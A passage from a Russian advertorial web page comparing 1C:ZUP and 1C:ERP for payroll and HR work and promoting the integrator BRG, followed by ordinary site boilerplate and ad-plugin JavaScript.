подтвержден внедрением системы менеджмента качества (ISO 9001:2008), что свидетельствует о его высоком уровне.</li> <li>Мы обеспечиваем полное устранение всех несовершенств в течение 1 года после окончания выполнения работ без дополнительных затрат с вашей стороны.</li> <li>В компании работают сотрудники, которые обладают опытом работы с программой 1С в диапазоне от трех до пятнадцати лет.</li> <li>Буквальный перевод: Внутри 20 минут от момента получения заказа на отбор ПО или изготовление ТЗ наши консультанты свяжутся с вами, чтобы обсудить проект. Время завершения ТЗ может составлять от 2 до 10 рабочих дней.</li> <li>Сертификаты являются подтверждением экспертизы компании.</li> </ul> <h3>Вариант 3. Программа 1С:Зарплата и управление персоналом (1С:ЗУП).</h3> <blockquote class="info"> <p>Данное программное решение способно полностью автоматизировать разнообразные задачи, которые связаны с расчетом заработной платы и управлением кадровой политикой.</p> </blockquote> <p>Судя по названию, данная программа предоставляет полный набор функций для учета всех возможных видов выплат сотрудникам и обработки кадровых документов. Она позволяет:</p> <ul> <li>Оптимизировать все этапы управления персоналом и прогнозировать необходимый кадровый состав;</li> <li>разрабатывать расписания и изучать рабочую нагрузку сотрудников;</li> <li>проводить расчет заработной платы при различных формах оплаты труда;</li> <li>осуществлять контроль над платежами в бюджет;</li> <li>осуществлять регулярную переоценку заработной платы;</li> <li>осуществлять расчеты между субъектами и проводить другие денежные операции</li> </ul> <p>Существуют большие компании, которые применяют и 1С:ЗУП, и 1С:ERP. Поэтому часто возникает дилемма, какую программу выбрать.</p> <p>Встроенный раздел «Зарплата и кадры» в программе 1С:ERP отличается от разделов в программе 1С:ЗУП. В последней более подробно представлены разделы: «Кадры», «Зарплата», «Выплаты», «Налоги и взносы», «Отчетность», «Справки». Также многие настройки вынесены в отдельные разделы.</p> <p>Возможно выполнить расчет заработной платы в той же системе, что и остальные сотрудники, например, в 1С:ERP. Однако, если количество работников большое, то кадровики и бухгалтеры, занимающиеся расчетом заработной платы, будут добавлять нагрузку на систему своей деятельностью. Для кадровиков и расчетчиков работа с отдельной системой 1С:ЗУП будет более эффективной, так как регламентные и фоновые задания в 1С:ERP осложняют их работу.</p> <blockquote class="warning"> <p>Если в организации отсутствует отдельный отдел по производству, то для автоматизации учета заработной платы рекомендуется использовать программу 1С:ЗУП.</p> </blockquote> <ul> <li>В программе 1С:ЗУП содержится информация, которая связана с конфиденциальными данными сотрудников и их заработной платой, и она хранится в отдельной базе данных. В программе 1С:ERP доступы могут быть настроены, однако важно регулярно проверять их, особенно после проведения обновлений.</li> <li>При использовании программы 1С:ЗУП, компания получает информацию о изменениях в правилах учета зарплаты быстрее, что обеспечивает беспроблемное ведение учета. В программе 1С:ERP внесение изменений в зарплатный блок занимает больше времени. Обновление самой программы 1С:ERP является более сложным и требует больше времени.</li> </ul> <p>Если вам необходима наиболее подходящая программа 1С для удовлетворения потребностей вашей организации, то стоит обратиться к экспертам. Профессионалы из компании BRG проведут предварительное исследование, определат пути автоматизации, установят программное обеспечение, протестируют его и внедрят в операционную деятельность. После внедрения программы, они будут обеспечивать поддержку и сопровождение 1С на основе договора ежемесячного обслуживания.</p> <h2>Внедрение и сопровождение программ 1С</h2> <p>Оптимизируйте свою эффективность, автоматизируя повседневные задачи благодаря нашей команде экспертов.</p> <p>Рекламный материал: Юридическое лицо «ГК Би Эр Джи» с ИНН 9717069500, код erid: LjN8KFX9w.</p> <div class="flat_pm_end"></div> <div class='yarpp-related'> <h3>Советуем ознакомиться:</h3><ol> <li><a href="https://statkirov.ru/obrazczy/kak-zashhititsya-ot-obvinenij-v-moshennichestve" rel="bookmark" title="Как защититься от обвинений в мошенничестве">Как защититься от обвинений в мошенничестве </a></li> <li><a href="https://statkirov.ru/obrazczy/oformlenie-rebenka-v-detskij-sad-v-2023-godu" rel="bookmark" title="Оформление ребенка в детский сад в 2025 году">Оформление ребенка в детский сад в 2025 году </a></li> <li><a href="https://statkirov.ru/obrazczy/elektronnyj-dnevnik-novoulyanovsk-vojti-v-setevoj-gorod-obrazovanie" rel="bookmark" title="Электронный дневник Новоульяновск — войти в Сетевой город Образование">Электронный дневник Новоульяновск — войти в Сетевой город Образование </a></li> <li><a href="https://statkirov.ru/obrazczy/kak-uvolitsya-po-vysluge-let-voennosluzhashhemu-algoritm-dejstvij-i-sroki" rel="bookmark" title="Как уволиться по выслуге лет военнослужащему: алгоритм действий и сроки">Как уволиться по выслуге лет военнослужащему: алгоритм действий и сроки </a></li> <li><a href="https://statkirov.ru/obrazczy/otmena-sudebnogo-prikaza-cherez-gosuslugi-mozhno-ili-nelzya" rel="bookmark" title="Отмена судебного приказа через госуслуги. Можно или нельзя">Отмена судебного приказа через госуслуги. Можно или нельзя </a></li> <li><a href="https://statkirov.ru/obrazczy/zapis-i-prohozhdenie-komissii-czpmpk" rel="bookmark" title="Запись и прохождение комиссии ЦПМПК">Запись и прохождение комиссии ЦПМПК </a></li> </ol> </div> <div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://statkirov.ru/obrazczy/kak-vam-imya-alevtina" target="_blank" rel="dofollow" class="ue0204fef4774760195628819c442b536"><style> .ue0204fef4774760195628819c442b536 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .ue0204fef4774760195628819c442b536:active, .ue0204fef4774760195628819c442b536:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ue0204fef4774760195628819c442b536 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ue0204fef4774760195628819c442b536 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .ue0204fef4774760195628819c442b536 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .ue0204fef4774760195628819c442b536:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">Советуем прочитать:</span> <span class="postTitle">Как вам имя Алевтина</span></div></a></div> </div> </article> <div class="entry-footer"> </div> <div class="b-share b-share--post"> <div class="b-share__title">Понравилась статья? Поделиться с друзьями:</div> <span class="b-share__ico b-share__vk js-share-link" data-uri="https://vk.com/share.php?url=https%3A%2F%2Fstatkirov.ru%2Fobrazczy%2Fnormativy-po-raschetu-zarplaty-na-1-raschetchika"></span> <span class="b-share__ico b-share__fb js-share-link" data-uri="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fstatkirov.ru%2Fobrazczy%2Fnormativy-po-raschetu-zarplaty-na-1-raschetchika"></span> <span class="b-share__ico b-share__tw js-share-link" data-uri="https://twitter.com/share?text=%D0%9D%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%B2%D1%8B+%D0%BF%D0%BE+%D1%80%D0%B0%D1%81%D1%87%D0%B5%D1%82%D1%83+%D0%B7%D0%B0%D1%80%D0%BF%D0%BB%D0%B0%D1%82%D1%8B+%D0%BD%D0%B0+1+%D1%80%D0%B0%D1%81%D1%87%D0%B5%D1%82%D1%87%D0%B8%D0%BA%D0%B0&url=https%3A%2F%2Fstatkirov.ru%2Fobrazczy%2Fnormativy-po-raschetu-zarplaty-na-1-raschetchika"></span> <span class="b-share__ico b-share__ok js-share-link" data-uri="https://connect.ok.ru/dk?st.cmd=WidgetSharePreview&service=odnoklassniki&st.shareUrl=https%3A%2F%2Fstatkirov.ru%2Fobrazczy%2Fnormativy-po-raschetu-zarplaty-na-1-raschetchika"></span> <span class="b-share__ico b-share__whatsapp js-share-link js-share-link-no-window" data-uri="whatsapp://send?text=%D0%9D%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%B2%D1%8B+%D0%BF%D0%BE+%D1%80%D0%B0%D1%81%D1%87%D0%B5%D1%82%D1%83+%D0%B7%D0%B0%D1%80%D0%BF%D0%BB%D0%B0%D1%82%D1%8B+%D0%BD%D0%B0+1+%D1%80%D0%B0%D1%81%D1%87%D0%B5%D1%82%D1%87%D0%B8%D0%BA%D0%B0%20https%3A%2F%2Fstatkirov.ru%2Fobrazczy%2Fnormativy-po-raschetu-zarplaty-na-1-raschetchika"></span> <span class="b-share__ico b-share__viber js-share-link js-share-link-no-window" data-uri="viber://forward?text=%D0%9D%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%B2%D1%8B+%D0%BF%D0%BE+%D1%80%D0%B0%D1%81%D1%87%D0%B5%D1%82%D1%83+%D0%B7%D0%B0%D1%80%D0%BF%D0%BB%D0%B0%D1%82%D1%8B+%D0%BD%D0%B0+1+%D1%80%D0%B0%D1%81%D1%87%D0%B5%D1%82%D1%87%D0%B8%D0%BA%D0%B0%20https%3A%2F%2Fstatkirov.ru%2Fobrazczy%2Fnormativy-po-raschetu-zarplaty-na-1-raschetchika"></span> <span class="b-share__ico b-share__telegram js-share-link js-share-link-no-window" data-uri="https://telegram.me/share/url?url=https%3A%2F%2Fstatkirov.ru%2Fobrazczy%2Fnormativy-po-raschetu-zarplaty-na-1-raschetchika&text=%D0%9D%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%B2%D1%8B+%D0%BF%D0%BE+%D1%80%D0%B0%D1%81%D1%87%D0%B5%D1%82%D1%83+%D0%B7%D0%B0%D1%80%D0%BF%D0%BB%D0%B0%D1%82%D1%8B+%D0%BD%D0%B0+1+%D1%80%D0%B0%D1%81%D1%87%D0%B5%D1%82%D1%87%D0%B8%D0%BA%D0%B0"></span> </div> <meta itemprop="author" content="seowin"> <meta itemprop="datePublished" content="2024-05-07T07:46:37+03:00"/> <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://statkirov.ru/obrazczy/normativy-po-raschetu-zarplaty-na-1-raschetchika" content="Нормативы по расчету зарплаты на 1 расчетчика"> <meta itemprop="dateModified" content="2024-05-07"> <meta itemprop="datePublished" content="2024-05-07T07:46:37+03:00"> <div itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="statkirov.ru"><meta itemprop="telephone" content="statkirov.ru"><meta itemprop="address" content="https://statkirov.ru"></div> <div id="comments" class="comments-area"> <div id="respond" class="comment-respond"> <div id="reply-title" class="comment-reply-title">Добавить комментарий</div><form action="https://statkirov.ru/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate><p class="comment-form-author"><label for="author">Имя</label> <input id="author" name="author" type="text" value="" size="30" maxlength="245" /></p> <p class="comment-form-email"><label for="email">Email</label> <input id="email" name="email" type="email" value="" size="30" maxlength="100" /></p> <p class="comment-form-url"><label for="url">Сайт</label> <input id="url" name="url" type="url" value="" size="30" maxlength="200" /></p> <p class="comment-form-comment"><label for="comment">Комментарий</label> <textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525" required="required"></textarea></p><div class="comment-smiles js-comment-smiles"><img src="https://statkirov.ru/wp-content/themes/root/images/smilies/wink.png" alt=";-)"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/neutral.png" alt=":|"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/mad.png" alt=":x"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/twisted.png" alt=":twisted:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/smile.png" alt=":smile:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/eek.png" alt=":shock:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/sad.png" alt=":sad:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/rolleyes.png" alt=":roll:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/razz.png" alt=":razz:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/redface.png" alt=":oops:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/surprised.png" alt=":o"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/mrgreen.png" alt=":mrgreen:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/lol.png" alt=":lol:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/idea.png" alt=":idea:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/biggrin.png" alt=":grin:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/evil.png" alt=":evil:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/cry.png" alt=":cry:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/cool.png" alt=":cool:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/arrow.png" alt=":arrow:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/confused.png" alt=":???:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/question.png" alt=":?:"> <img src="https://statkirov.ru/wp-content/themes/root/images/smilies/exclaim.png" alt=":!:"> </div><p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="Отправить комментарий" /> <input type='hidden' name='comment_post_ID' value='25749' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /> </p><p style="display: none;"><input type="hidden" id="akismet_comment_nonce" name="akismet_comment_nonce" value="5ee457b004" /></p><p style="display: none !important;"><label>Δ<textarea name="ak_hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label><input type="hidden" id="ak_js_1" name="ak_js" value="74"/><script>document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() );</script></p></form> </div> </div> </main> </div> </div> <aside id="secondary" class="widget-area" itemscope itemtype="http://schema.org/WPSideBar"> <div id="wp_vi_plugin-2" class="widget widget_wp_vi_plugin"><div class="widget-header">Версия для слабовидящих</div><div id="bt_widget-vi-on" class="bt_widget-vi"><a itemprop="Copy" href="#" class="bt_widget-vi-on"><span class="vi-on-img-button"></span> Версия для слабовидящих</a></div></div><div id="custom_html-2" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><div> <div style="padding: 25px; margin: 30px auto; background-color: #f6f6f4;"> <a href="http://www.kremlin.ru/" target="_blank" rel="nofollow noopener"><img src="/wp-content/themes/root/thumb/prezident.png" alt="Сайт Президента РФ" /></a> </div> <div style="padding: 25px; margin: 30px auto; background-color: #f6f6f4;"> <a href="https://www.gosuslugi.ru/" target="_blank" rel="nofollow noopener"><img src="/wp-content/themes/root/thumb/gosuslugi.jpg" alt="Госуслуги" /></a> </div> <div style="padding: 25px; margin: 30px auto; background-color: #f6f6f4;"> <a href="http://www.scrf.gov.ru/" target="_blank" rel="nofollow noopener"><img src="/wp-content/themes/root/thumb/sovet-bezopasnosti.jpg" alt="Совет Безопасности РФ" /></a> </div> <div style="padding: 25px; margin: 30px auto; background-color: #f6f6f4;"> <a href="https://epp.genproc.gov.ru/web/gprf" target="_blank" rel="nofollow noopener"><img src="/wp-content/themes/root/thumb/prokuratura.jpg" alt="Прокуратура РФ" /></a> </div> <div style="padding: 25px; margin: 30px auto; background-color: #f6f6f4;"> <a href="https://ach.gov.ru/" target="_blank" rel="nofollow noopener"><img src="/wp-content/themes/root/thumb/schetnaya-palata.jpg" alt="Счетная Палата РФ" /></a> </div> </div></div></div> </aside> </div> <div class="footer-navigation container"> <div class="main-navigation-inner "> <div class="menu-info-container"><ul id="footer_menu" class="menu"><li id="menu-item-4554" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-4554"><a href="https://statkirov.ru/cookie">Соглашение о файлах cookie</a></li> <li id="menu-item-4555" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-4555"><a href="https://statkirov.ru/privacy">Политика конфиденциальности</a></li> <li id="menu-item-4556" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-4556"><a href="https://statkirov.ru/karta-sayta">Карта сайта</a></li> </ul></div> </div> </div> <footer class="site-footer container" itemscope itemtype="http://schema.org/WPFooter"> <div class="site-footer-inner "> <div class="footer-info"> © 2024 statkirov.ru </div> <div class="footer-counters"> <script type="text/javascript" > (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date(); for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }} k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)}) (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym"); ym(97145544, "init", { clickmap:true, trackLinks:true, accurateTrackBounce:true }); </script> <noscript><div><img src="https://mc.yandex.ru/watch/97145544" style="position:absolute; left:-9999px;" alt="" /></div></noscript> </div> </div> </footer> <button type="button" class="scrolltop js-scrolltop"></button> </div> <link rel='stylesheet' id='yarppRelatedCss-css' href='https://statkirov.ru/wp-content/plugins/yet-another-related-posts-plugin/style/related.css?ver=5.20.0' media='all' /> <script src='https://statkirov.ru/wp-content/themes/root/js/lightbox.js?ver=2.4.1' id='root-lightbox-js'></script> <script type='text/javascript' id='root-scripts-js-extra'> /* <![CDATA[ */ var settings_array = {"rating_text_average":"\u0441\u0440\u0435\u0434\u043d\u0435\u0435","rating_text_from":"\u0438\u0437","lightbox_enabled":""}; var wps_ajax = {"url":"https:\/\/statkirov.ru\/wp-admin\/admin-ajax.php","nonce":"f9f22b5bb6"}; /* ]]> */ </script> <script src='https://statkirov.ru/wp-content/themes/root/js/scripts.min.js?ver=2.4.1' id='root-scripts-js'></script> <script defer src='https://statkirov.ru/wp-content/plugins/akismet/_inc/akismet-frontend.js?ver=1661984522' id='akismet-frontend-js'></script> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins> <style> .flat__4_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .flat__4_modal-show{z-index:2000;visibility:visible} .flat__4_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .flat__4_modal-show ~ .flat__4_modal-overlay{z-index:1000;opacity:1;visibility:visible} .flat__4_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .flat__4_modal-show .flat__4_modal-content{transform:translateY(0);opacity:1} .flat__4_modal .flat__4_timer, .flat__4_modal .flat__4_cross{top:0!important} .flat__4_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .flat__4_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .flat__4_cross:after, .flat__4_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .flat__4_cross:before{transform:rotate(-45deg)} .flat__4_cross:hover:after{transform:rotate(225deg)} .flat__4_cross:hover:before{transform:rotate(135deg)} .flat__4_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .flat__4_timer span{font-size:16px;font-weight:600} .flat__4_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .flat__4_out *{max-width:none!important} .flat__4_out.top .flat__4_cross{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_cross{bottom:-0px} .flat__4_out.bottom .flat__4_cross{top:150px} .flat__4_out.show.bottom .flat__4_cross{top:-0px} .flat__4_out.right .flat__4_cross{right:auto;left:0} .flat__4_out.top .flat__4_timer{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_timer{bottom:-0px} .flat__4_out.bottom .flat__4_timer{top:150px} .flat__4_out.show.bottom .flat__4_timer{top:-0px} .flat__4_out.right .flat__4_timer{right:auto;left:0} .flat__4_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .flat__4_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .flat__4_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .flat__4_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .flat__4_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .flat__4_out.closed{min-width:0;min-height:0} .flat__4_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .flat__4_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .flat__4_out.show.left{transform:translateX(100%)} .flat__4_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .flat__4_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .flat__4_video iframe{display:block;width:100%;height:100%;position:absolute} .flat__4_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .flat__4_video_flex.show{opacity:1} .flat__4_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .flat__4_video_flex.show .flat__4_video_item{z-index:1} .flat__4_video_flex .flat__4_timer, .flat__4_video_flex .flat__4_cross{top:10px!important;right:10px!important} .flat__4_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2} </style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";function flatPM_sticky(e,a,t){var l=e,d=null,f=t=t||0;function n(){if(null==d){for(var e=getComputedStyle(l,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(d=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+l.offsetWidth+"px;",l.insertBefore(d,l.firstChild);for(var o=l.childNodes.length,n=1;n<o;n++)d.appendChild(l.childNodes[1]);l.style.padding="0",l.style.border="0"}l.style.height=d.getBoundingClientRect().height+"px";var r=l.getBoundingClientRect(),i=Math.round(r.top+d.getBoundingClientRect().height-a.getBoundingClientRect().bottom);r.top-f<=0?r.top-f<=i?(d.className="flatpm_stop",d.style.top=-i+"px"):(d.className="flatpm_fixed",d.style.top=f+"px"):(d.className="",d.style.top=""),window.addEventListener("resize",function(){l.children[0].style.width=getComputedStyle(l,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)}function flatPM_addDays(e,t){var n=60*e.getTimezoneOffset()*1e3,o=e.getTime(),e=new Date;return o+=864e5*t,e.setTime(o),n!=(t=60*e.getTimezoneOffset()*1e3)&&(o+=t-n,e.setTime(o)),e}function flatPM_adbDetect(){var e=document.querySelector('#adsense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;e=e.currentStyle||window.getComputedStyle(e,null),e=parseInt(e.height);return!(!isNaN(e)&&0!=e)}function flatPM_setCookie(e,t,n){var o,r=(n=n||{path:"/"}).expires;"number"==typeof r&&r&&((o=new Date).setTime(o.getTime()+1e3*r),r=n.expires=o),r&&r.toUTCString&&(n.expires=r.toUTCString());var i,a=e+"="+(t=encodeURIComponent(t));for(i in n){a+="; "+i;var l=n[i];!0!==l&&(a+="="+l)}document.cookie=a}function flatPM_getCookie(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0}function flatPM_testCookie(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}}function flatPM_grep(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})}function flatPM_randomString(e){for(var t="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,r=0;r<e;r++)t+=n.charAt(Math.floor(Math.random()*o));return t}function flatPM_random(e,t){return Math.floor(Math.random()*(t-e+1))+e}function flatPM_getAllUrlParams(e){var e=e?e.split("?")[1]:window.location.search.slice(1),t={};if(e)for(var n=(e=e.split("#")[0]).split("&"),o=0;o<n.length;o++){var r,i=n[o].split("="),a=i[0],l=void 0===i[1]||i[1],a=a.toLowerCase();"string"==typeof l&&(l=l.toLowerCase()),a.match(/\[(\d+)?\]$/)?(t[r=a.replace(/\[(\d+)?\]/,"")]||(t[r]=[]),a.match(/\[\d+\]$/)?(i=/\[(\d+)\]/.exec(a)[1],t[r][i]=l):t[r].push(l)):t[a]?(t[a]&&"string"==typeof t[a]&&(t[a]=[t[a]]),t[a].push(l)):t[a]=l}return t}document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};function flatPM_ajax(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})}function flatPM_then(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++)flatPM_next(flat_pm_then[e]);0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]}function flatPM_persentWrapper(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r}function flatPM_setWrap(t){try{var e,a,o,r,i,f,s,n,d,_=document.createElement("div");_.setAttribute("data-flat-id",t.ID),void 